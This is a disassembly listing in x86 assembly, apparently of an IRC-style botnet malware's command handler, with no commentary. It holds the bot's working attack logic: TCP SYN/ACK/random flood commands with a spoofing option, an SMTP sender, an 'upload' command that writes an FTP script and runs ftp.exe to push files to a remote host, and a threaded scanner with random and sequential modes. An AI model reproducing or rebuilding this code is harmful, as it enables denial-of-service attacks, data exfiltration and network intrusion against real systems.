		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4078DC
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aP	; "p"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4078DC
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aTcpflood ; "tcpflood"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40773D
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aTcp	; "tcp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40773D
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aEmail	; "email"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4076E8
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_47F4]
		push	eax		; Dest
		call	_strcpy
		push	edi		; Str
		call	j__atol
		push	[ebp+4Ch+arg_0]	; Source
		mov	[ebp+4Ch+var_20], eax
		lea	eax, [ebp+4Ch+var_4090]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+4Ch+var_14] ; Source
		lea	eax, [ebp+4Ch+var_4390]
		push	eax		; Dest
		call	_strcpy
		push	offset asc_42FE58 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+4Ch+var_90] ; Dest
		call	sub_41AB7D
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_4290]
		push	eax		; Dest
		call	_strcpy
		add	esp, 30h
		lea	eax, [ebp+4Ch+var_5590]
		push	eax
		push	101h
		call	dword_444110	; WSAStartup
		lea	eax, [ebp+4Ch+var_47F4]
		push	eax
		call	dword_444168	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_444100	; socket
		push	[ebp+4Ch+var_20]
		mov	esi, eax
		mov	[ebp+4Ch+var_324], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+4Ch+var_320], eax
		call	dword_444260	; htons
		mov	[ebp+4Ch+var_322], ax
		lea	eax, [ebp+4Ch+var_4290]
		push	eax
		lea	eax, [ebp+4Ch+var_4090]
		push	eax
		lea	eax, [ebp+4Ch+var_4290]
		push	eax
		lea	eax, [ebp+4Ch+var_4390]
		push	eax
		lea	eax, [ebp+4Ch+var_4090]
		push	eax
		lea	eax, [ebp+4Ch+var_5990]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		push	10h
		lea	eax, [ebp+4Ch+var_324]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		push	ebx
		mov	edi, 100h
		push	edi
		lea	eax, [ebp+4Ch+var_4190]
		push	eax
		push	esi
		call	dword_444064	; recv
		lea	eax, [ebp+4Ch+var_4190]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+4Ch+var_5990]
		push	eax
		push	esi
		call	dword_4441A0	; send
		push	ebx
		push	edi
		lea	eax, [ebp+4Ch+var_4190]
		push	eax
		push	esi
		call	dword_444064	; recv
		push	esi
		call	dword_444218	; closesocket
		call	dword_444224	; WSACleanup
		lea	eax, [ebp+4Ch+var_4390]
		push	eax
		push	offset asc_42DE1C ; "-"


loc_4076D4:				; CODE XREF: sub_40274D+2C5Cj
					; sub_40274D+636Fj ...
		lea	eax, [ebp+4Ch+Dst]


loc_4076DA:				; CODE XREF: sub_40274D+6671j
		push	eax		; Dest
		call	_sprintf


loc_4076E0:				; CODE XREF: sub_40274D+226Dj
		add	esp, 0Ch
		jmp	loc_406C4D
; ---------------------------------------------------------------------------


loc_4076E8:				; CODE XREF: sub_40274D+4E31j
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aHttpcon	; "httpcon"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407712
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aHcon	; "hcon"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_407C7B


loc_407712:				; CODE XREF: sub_40274D+4FACj
		push	[ebp+esi+4Ch+var_90] ; int
		push	[ebp+4Ch+var_14] ; int
		push	[ebp+4Ch+arg_0]	; int
		push	edi		; Str
		call	j__atol
		pop	ecx
		push	eax		; int
		push	[ebp+4Ch+var_8]	; int
		push	[ebp+4Ch+var_C]	; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4128A1
		jmp	loc_40A0AE
; ---------------------------------------------------------------------------


loc_40773D:				; CODE XREF: sub_40274D+4E03j
					; sub_40274D+4E1Aj
		push	[ebp+4Ch+var_8]	; Format
		mov	esi, 80h
		lea	eax, [ebp+4Ch+var_135C]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+4Ch+var_135C]
		push	eax		; Str2
		push	offset aSyn	; "syn"
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_4077A2
		lea	eax, [ebp+4Ch+var_135C]
		push	eax		; Str2
		push	offset aAck	; "ack"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4077A2
		lea	eax, [ebp+4Ch+var_135C]
		push	eax		; Str2
		push	offset aRandom_0 ; "random"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4077A2
		push	offset unk_42DDD4
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_4077A2:				; CODE XREF: sub_40274D+501Bj
					; sub_40274D+5032j ...
		push	[ebp+4Ch+var_14] ; Str
		call	j__atol
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+4Ch+var_1254], eax
		jle	loc_4078C4
		push	[ebp+4Ch+var_8]	; Format
		lea	eax, [ebp+4Ch+var_135C]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	edi		; Format
		lea	eax, [ebp+4Ch+var_13DC]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+4Ch+arg_0]	; Str
		call	j__atol
		push	[ebp+4Ch+Format] ; Format
		mov	[ebp+4Ch+var_1258], eax
		xor	eax, eax
		cmp	[ebp+4Ch+var_8F6], bl
		push	esi		; Count
		setnz	al
		mov	[ebp+4Ch+var_1250], eax
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_13E0], eax
		lea	eax, [ebp+4Ch+var_12DC]
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_124C], eax
		mov	eax, [ebp+4Ch+var_C]
		add	esp, 28h
		cmp	[ebp+4Ch+var_1250], ebx
		mov	[ebp+4Ch+var_1248], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_407836
		mov	eax, offset aNormal ; "Normal"


loc_407836:				; CODE XREF: sub_40274D+50E2j
		push	[ebp+4Ch+var_14]
		push	[ebp+4Ch+arg_0]
		push	edi
		push	[ebp+4Ch+var_8]
		push	eax
		push	offset asc_42DD90 ; "-"
		lea	eax, [ebp+4Ch+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	14h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 2Ch
		mov	[ebp+4Ch+var_125C], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_13E0]
		push	eax
		push	offset sub_416B1E
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_125C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4078B7
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DD58
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_4078AF:				; CODE XREF: sub_40274D+5170j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4078B7:				; CODE XREF: sub_40274D+514Fj
		cmp	[ebp+4Ch+var_1244], ebx
		jz	short loc_4078AF
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_4078C4:				; CODE XREF: sub_40274D+5066j
		push	offset asc_42DD20 ; "-"


loc_4078C9:				; CODE XREF: sub_40274D+1E23j
					; sub_40274D+1E39j ...
		lea	eax, [ebp+4Ch+Dst]


loc_4078CF:				; CODE XREF: sub_40274D+4042j
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_4078DC:				; CODE XREF: sub_40274D+4DBEj
					; sub_40274D+4DD5j ...
		cmp	dword_444294, ebx
		jnz	loc_4079E4
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_FFC], eax
		mov	eax, [ebp+4Ch+var_4]
		push	7Fh		; Count
		push	[ebp+4Ch+var_8]	; Source
		mov	[ebp+4Ch+var_1000], eax
		lea	eax, [ebp+4Ch+var_1094]
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	j__atol
		push	[ebp+4Ch+arg_0]	; Str
		mov	[ebp+4Ch+var_1014], eax
		call	j__atol
		push	[ebp+4Ch+var_14] ; Str
		mov	[ebp+4Ch+var_1010], eax
		call	j__atol
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		mov	[ebp+4Ch+var_100C], eax
		lea	eax, [ebp+4Ch+var_1114]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+4Ch+var_100C]
		mov	eax, [ebp+4Ch+arg_4]
		push	[ebp+4Ch+var_1010]
		mov	[ebp+4Ch+var_1118], eax
		lea	eax, [ebp+4Ch+var_1094]
		push	eax
		push	[ebp+4Ch+var_1014]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42DCD8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	16h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 48h
		mov	[ebp+4Ch+var_1004], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_1118]
		push	eax
		push	offset sub_415F82
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_1004]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4079D7
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DC9C
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_4079CF:				; CODE XREF: sub_40274D+5290j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4079D7:				; CODE XREF: sub_40274D+526Fj
		cmp	[ebp+4Ch+var_FF8], ebx
		jz	short loc_4079CF
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_4079E4:				; CODE XREF: sub_40274D+5195j
		push	1FFh		; Count
		lea	eax, [ebp+4Ch+Dst]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax		; Dest
		call	_strncpy
		jmp	loc_40698A
; ---------------------------------------------------------------------------


loc_4079FF:				; CODE XREF: sub_40274D+4D90j
					; sub_40274D+4DA7j
		push	edi
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	[ebp+4Ch+arg_0]
		push	offset asc_42DC48 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		push	[ebp+4Ch+arg_0]	; Str
		call	_strlen
		push	edi		; Str
		mov	[ebp+4Ch+var_24], eax
		call	_strlen
		mov	ecx, [ebp+4Ch+var_24]
		push	[ebp+4Ch+var_8]	; Str
		add	ecx, eax
		mov	[ebp+4Ch+var_24], ecx
		call	_strlen
		mov	ecx, [ebp+4Ch+var_24]
		push	[ebp+4Ch+var_10] ; Str
		add	ecx, eax
		mov	[ebp+4Ch+var_24], ecx
		call	_strlen
		add	eax, [ebp+4Ch+var_18]
		mov	ecx, [ebp+4Ch+var_24]
		push	[ebp+4Ch+var_14] ; SubStr
		lea	eax, [eax+ecx+7]
		push	eax		; Str
		call	_strstr
		add	esp, 40h
		push	[ebp+4Ch+arg_0]	; Str
		mov	[ebp+4Ch+var_18], eax
		call	j__atol
		cmp	eax, ebx
		mov	edi, [ebp+4Ch+var_20]
		pop	ecx
		mov	[ebp+4Ch+File],	eax
		mov	[ebp+4Ch+var_24], ebx
		jle	short loc_407AED


loc_407A8D:				; CODE XREF: sub_40274D+5364j
		push	[ebp+4Ch+var_18] ; int
		push	edi		; int
		push	[ebp+4Ch+var_8]	; Source
		call	sub_41B24B
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+4Ch+var_20], eax
		jz	short loc_407AB5
		cmp	eax, ebx
		jnz	short loc_407AC0
		inc	[ebp+4Ch+var_24]
		mov	eax, [ebp+4Ch+var_24]
		cmp	eax, [ebp+4Ch+File]
		jl	short loc_407A8D
		jmp	short loc_407AF6
; ---------------------------------------------------------------------------


loc_407AB5:				; CODE XREF: sub_40274D+5355j
		push	ebx
		push	[ebp+4Ch+var_4]
		push	offset unk_42DC10
		jmp	short loc_407AFF
; ---------------------------------------------------------------------------


loc_407AC0:				; CODE XREF: sub_40274D+5359j
		push	[ebp+4Ch+var_20]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42DBDC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 20h


loc_407AED:				; CODE XREF: sub_40274D+533Ej
		cmp	[ebp+4Ch+var_20], ebx
		jnz	loc_407C7B


loc_407AF6:				; CODE XREF: sub_40274D+5366j
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	offset unk_42DBA8 ; int


loc_407AFF:				; CODE XREF: sub_40274D+5371j
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h
		jmp	loc_407C7B
; ---------------------------------------------------------------------------


loc_407B12:				; CODE XREF: sub_40274D+4D4Bj
					; sub_40274D+4D62j ...
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_C6C], eax
		mov	eax, [ebp+4Ch+var_4]
		push	7Fh		; Count
		push	[ebp+4Ch+var_8]	; Source
		mov	[ebp+4Ch+var_C70], eax
		lea	eax, [ebp+4Ch+var_D04]
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	j__atol
		push	[ebp+4Ch+arg_0]	; Str
		mov	[ebp+4Ch+var_C84], eax
		call	j__atol
		push	[ebp+4Ch+var_14] ; Str
		mov	[ebp+4Ch+var_C80], eax
		call	j__atol
		mov	esi, [ebp+esi+4Ch+var_90]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+4Ch+var_C7C], eax
		jz	short loc_407B77
		push	esi		; Str
		call	j__atol
		pop	ecx
		mov	[ebp+4Ch+var_C78], eax
		jmp	short loc_407B7D
; ---------------------------------------------------------------------------


loc_407B77:				; CODE XREF: sub_40274D+5419j
		mov	[ebp+4Ch+var_C78], ebx


loc_407B7D:				; CODE XREF: sub_40274D+5428j
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_D84]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+4Ch+var_C7C]
		mov	esi, [ebp+4Ch+arg_4]
		push	[ebp+4Ch+var_C80]
		lea	eax, [ebp+4Ch+var_D04]
		push	eax
		push	[ebp+4Ch+var_C84]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42DB60 ; "-"
		push	eax		; Dest
		mov	[ebp+4Ch+var_D88], esi
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	17h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 30h
		mov	[ebp+4Ch+var_C74], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_D88]
		push	eax
		push	offset sub_416104
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_C74]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_407C21
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DB28
		jmp	loc_4089B1
; ---------------------------------------------------------------------------


loc_407C19:				; CODE XREF: sub_40274D+54DAj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_407C21:				; CODE XREF: sub_40274D+54B9j
		cmp	[ebp+4Ch+var_C68], ebx
		jz	short loc_407C19
		jmp	loc_4089C0
; ---------------------------------------------------------------------------


loc_407C2E:				; CODE XREF: sub_40274D+4D1Dj
					; sub_40274D+4D34j
		push	0Bh
		call	sub_40B075
		push	edi		; Str
		mov	[ebp+4Ch+var_20], eax
		call	j__atol
		add	eax, [ebp+4Ch+var_20]
		pop	ecx
		cmp	eax, 1F4h
		pop	ecx
		jle	loc_407DF1
		push	[ebp+4Ch+var_20]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42DAE8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 20h


loc_407C7B:				; CODE XREF: sub_40274D+4FBFj
					; sub_40274D+53A3j ...
		mov	esi, [ebp+esi+4Ch+var_90]
		cmp	esi, ebx
		jz	loc_402B92
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aUpload	; "upload"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_404979
		push	4
		push	esi
		call	sub_419429
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_407CC6
		push	esi
		push	offset asc_42DAC0 ; "-"


loc_407CB2:				; CODE XREF: sub_40274D+7774j
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_404A5B
; ---------------------------------------------------------------------------


loc_407CC6:				; CODE XREF: sub_40274D+555Dj
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		call	_rand
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+4Ch+var_5200]
		push	edx
		push	eax
		lea	eax, [ebp+4Ch+var_2E60]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+var_2E60]
		push	offset aAb	; "ab"
		push	eax		; char *
		call	_fopen
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+4Ch+File],	eax
		jz	loc_402B92
		push	esi
		push	[ebp+4Ch+var_14]
		push	[ebp+4Ch+arg_0]
		push	edi
		push	[ebp+4Ch+var_8]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax		; FILE *
		call	_fprintf
		push	[ebp+4Ch+File]	; File
		call	_fclose
		lea	eax, [ebp+4Ch+var_2E60]
		push	eax
		lea	eax, [ebp+4Ch+var_4CF8]
		push	offset aSS_2	; "-s:%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 2Ch
		push	ebx
		push	ebx
		lea	eax, [ebp+4Ch+var_4CF8]
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_444214
		test	eax, eax
		push	[ebp+4Ch+var_8]
		push	esi		; Format
		jz	short loc_407D92
		push	offset unk_42DA50
		jmp	short loc_407D97
; ---------------------------------------------------------------------------


loc_407D92:				; CODE XREF: sub_40274D+563Cj
		push	offset asc_42DA20 ; "-"


loc_407D97:				; CODE XREF: sub_40274D+5643j
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_407DBD
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_407DBD:				; CODE XREF: sub_40274D+5655j
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		jmp	short loc_407DD7
; ---------------------------------------------------------------------------


loc_407DCB:				; CODE XREF: sub_40274D+569Dj
		lea	eax, [ebp+4Ch+var_2E60]
		push	eax
		call	sub_41EC78


loc_407DD7:				; CODE XREF: sub_40274D+567Cj
		lea	eax, [ebp+4Ch+var_2E60]
		push	4
		push	eax
		call	sub_419429
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407DCB
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_407DF1:				; CODE XREF: sub_40274D+54FBj
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		push	edi		; Str
		mov	[ebp+4Ch+var_378], eax
		call	j__atol
		push	[ebp+4Ch+arg_0]	; Str
		mov	[ebp+4Ch+var_360], eax
		call	j__atol
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+4Ch+var_374], eax
		jnb	short loc_407E2A
		push	5
		pop	eax
		mov	[ebp+4Ch+var_374], eax


loc_407E2A:				; CODE XREF: sub_40274D+56D2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_407E37
		mov	[ebp+4Ch+var_374], ecx


loc_407E37:				; CODE XREF: sub_40274D+56E2j
		push	[ebp+4Ch+var_14] ; Str
		call	j__atol
		mov	[ebp+4Ch+var_370], eax
		mov	eax, 320h
		cmp	[ebp+4Ch+var_370], eax
		pop	ecx
		jbe	short loc_407E59
		mov	[ebp+4Ch+var_370], eax


loc_407E59:				; CODE XREF: sub_40274D+5704j
		or	[ebp+4Ch+var_35C], 0FFFFFFFFh
		cmp	dword_43D878, ebx
		mov	[ebp+4Ch+var_24], ebx
		jz	short loc_407EA8
		mov	edi, offset dword_43D878


loc_407E70:				; CODE XREF: sub_40274D+573Dj
		push	[ebp+4Ch+var_8]	; Str2
		lea	eax, [edi-28h]
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407E8E
		inc	[ebp+4Ch+var_24]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_407E70
		jmp	short loc_407EA8
; ---------------------------------------------------------------------------


loc_407E8E:				; CODE XREF: sub_40274D+5733j
		mov	eax, [ebp+4Ch+var_24]
		mov	ecx, eax
		shl	ecx, 6
		mov	ecx, dword_43D878[ecx]
		mov	[ebp+4Ch+var_378], ecx
		mov	[ebp+4Ch+var_35C], eax


loc_407EA8:				; CODE XREF: sub_40274D+571Cj
					; sub_40274D+573Fj
		cmp	[ebp+4Ch+var_378], ebx
		jnz	short loc_407EBA
		push	offset unk_42D9EC
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_407EBA:				; CODE XREF: sub_40274D+5761j
		mov	edi, [ebp+esi+4Ch+var_90]
		cmp	edi, ebx
		mov	[ebp+4Ch+File],	edi
		jz	short loc_407EF5
		cmp	byte ptr [edi],	23h
		jz	short loc_407EF5
		push	edi		; Format
		lea	eax, [ebp+4Ch+var_48C]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		push	78h		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+4Ch+var_34C], eax
		jmp	loc_407FD0
; ---------------------------------------------------------------------------


loc_407EF5:				; CODE XREF: sub_40274D+5776j
					; sub_40274D+577Bj
		cmp	[ebp+4Ch+var_907], bl
		jnz	short loc_407F17
		cmp	[ebp+4Ch+var_906], bl
		jnz	short loc_407F17
		cmp	[ebp+4Ch+var_8F6], bl
		jnz	short loc_407F17
		push	offset unk_42D9B8
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_407F17:				; CODE XREF: sub_40274D+57AEj
					; sub_40274D+57B6j ...
		push	10h
		pop	edi
		lea	eax, [ebp+4Ch+var_2D4]
		push	eax
		lea	eax, [ebp+4Ch+var_300]
		push	eax
		push	[ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_2D4], edi
		call	dword_444068	; getsockname
		mov	al, [ebp+4Ch+var_907]
		neg	al
		push	edi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+4Ch+var_2FC], eax
		push	[ebp+4Ch+var_2FC] ; Count
		call	dword_444188	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_48C]
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+4Ch+var_8F6], bl
		jz	short loc_407FCA
		xor	eax, eax
		cmp	[ebp+4Ch+var_907], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+4Ch+var_48C]
		push	eax		; Str
		call	_strrchr
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		mov	byte ptr [ebp+4Ch+arg_0+3], bl
		jle	short loc_407FBE


loc_407F9C:				; CODE XREF: sub_40274D+586Fj
		cmp	eax, ebx
		jz	short loc_407FBE
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+4Ch+var_48C]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+4Ch+arg_0+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+4Ch+arg_0+3]
		cmp	ecx, edi
		jl	short loc_407F9C


loc_407FBE:				; CODE XREF: sub_40274D+584Dj
					; sub_40274D+5851j
		mov	[ebp+4Ch+var_34C], 1
		jmp	short loc_407FD0
; ---------------------------------------------------------------------------


loc_407FCA:				; CODE XREF: sub_40274D+5827j
		mov	[ebp+4Ch+var_34C], ebx


loc_407FD0:				; CODE XREF: sub_40274D+57A3j
					; sub_40274D+587Bj
		mov	eax, [ebp+4Ch+arg_4]
		push	[ebp+4Ch+Format] ; Format
		mov	[ebp+4Ch+var_37C], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_354], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_350], eax
		mov	edi, 80h
		lea	eax, [ebp+4Ch+var_47C]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+4Ch+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40801E


loc_40800B:				; CODE XREF: sub_40274D+58F4j
		push	esi		; Format


loc_40800C:				; CODE XREF: sub_40274D+58DEj
		lea	eax, [ebp+4Ch+var_3FC]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_408049
; ---------------------------------------------------------------------------


loc_40801E:				; CODE XREF: sub_40274D+58BCj
		mov	eax, [ebp+4Ch+File]
		cmp	eax, ebx
		jz	short loc_40802D
		cmp	byte ptr [eax],	23h
		jnz	short loc_40802D
		push	eax
		jmp	short loc_40800C
; ---------------------------------------------------------------------------


loc_40802D:				; CODE XREF: sub_40274D+58D6j
					; sub_40274D+58DBj
		push	offset byte_42B633 ; Str2
		mov	esi, offset a_fast__1 ;	"#.fast.#"
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40800B
		mov	[ebp+4Ch+var_3FC], bl


loc_408049:				; CODE XREF: sub_40274D+58CFj
		cmp	[ebp+4Ch+var_34C], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40805B
		mov	eax, offset aSequential	; "Sequential"


loc_40805B:				; CODE XREF: sub_40274D+5907j
		push	[ebp+4Ch+var_360]
		lea	ecx, [ebp+4Ch+var_48C]
		push	[ebp+4Ch+var_370]
		push	[ebp+4Ch+var_374]
		push	[ebp+4Ch+var_378]
		push	ecx
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D950 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 2Ch
		mov	[ebp+4Ch+var_36C], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_48C]
		push	eax
		push	offset sub_40BEFE
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_36C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4080EC
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D918
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_4080E4:				; CODE XREF: sub_40274D+59A5j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4080EC:				; CODE XREF: sub_40274D+5984j
		cmp	[ebp+4Ch+var_348], ebx
		jz	short loc_4080E4
		jmp	loc_40698D
; ---------------------------------------------------------------------------


